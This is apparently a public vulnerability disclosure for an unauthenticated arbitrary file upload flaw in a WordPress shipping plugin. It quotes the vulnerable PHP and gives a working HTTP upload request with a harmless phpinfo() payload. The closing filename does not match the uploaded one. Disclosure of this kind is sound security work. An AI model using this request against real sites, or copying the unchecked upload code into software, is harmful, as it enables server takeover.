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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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# Exploit Title: WordPress Plugin Baggage Freight Shipping Australia 0.1.0 - Arbitrary File Upload
# Date: 2018-12-24
# Software Link: https://wordpress.org/plugins/baggage-freight/
# Exploit Author: Kaimi
# Website: https://kaimi.io
# Version: 0.1.0
# Category: webapps

# Unrestricted file upload for unahtorized user in package info upload 
# process allowing arbitrary extension.

File: upload-package.php

Vulnerable code:
if($_POST["submit"])
{
    if ($_FILES["file"])
    {
        $uploadpath = "../wp-content/plugins/baggage_shipping/upload/".time()."_".$_FILES["file"]["name"];

        move_uploaded_file($_FILES["file"]["tmp_name"],$uploadpath);

# Exploitation example:

POST /wp-content/plugins/baggage-freight/upload-package.php HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=---------------------------18311719029180117571501079851
...
-----------------------------18311719029180117571501079851
Content-Disposition: form-data; name="submit"

1
-----------------------------18311719029180117571501079851
Content-Disposition: form-data; name="file"; filename="file.php"
Content-Type: audio/wav

<?php phpinfo();
-----------------------------18311719029180117571501079851--

# Uploaded file will be located at /wp-content/plugins/baggage_shipping/upload/{timestamp}_info.php.